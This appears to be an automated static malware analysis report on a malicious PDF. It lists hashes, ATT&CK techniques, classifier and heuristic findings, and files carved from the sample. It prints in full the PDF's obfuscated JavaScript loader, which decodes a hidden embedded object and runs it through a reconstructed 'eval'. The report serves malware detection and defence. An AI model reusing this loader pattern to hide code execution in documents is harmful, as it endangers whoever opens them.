Malicious PDF — malware analysis report

Static analysis result for SHA-256 896323411a59fc1e…

MALICIOUS

PDF

5.8 KB First seen: 2013-07-23
MD5: 2f57be6afd046a59c9802938759c60f6 SHA-1: 98b1c74050cae51b372286a077b6471970f83895 SHA-256: 896323411a59fc1e3e4c662b6190f1abfd1ad7657e9731da855db1737789e23d
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF contains embedded JavaScript that is obfuscated and attempts to decode a payload from an embedded object. The script concatenates 'eval' from XML data and then calls it with the decoded content, indicating an attempt to execute arbitrary code. The ML classifier strongly flags this PDF as malicious, and heuristics indicate malformed streams and embedded files, consistent with exploit delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
🗂 Part of campaign: shared payload 1bc4bf38a7 55 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x428 144252 bytes
SHA-256: 371b2344c9264c9793f76d8fe6f52d34f956a0e14289fe404b18a9830efc1485
Detection
ClamAV: No threats found
Obfuscation or payload: likely
314 of 314 identifiers look randomly generated (e.g. 'PGC5nJAN3Mp1kDSM31PGC5nJAN3Mp1kDSM32PGC5') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1CC 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);

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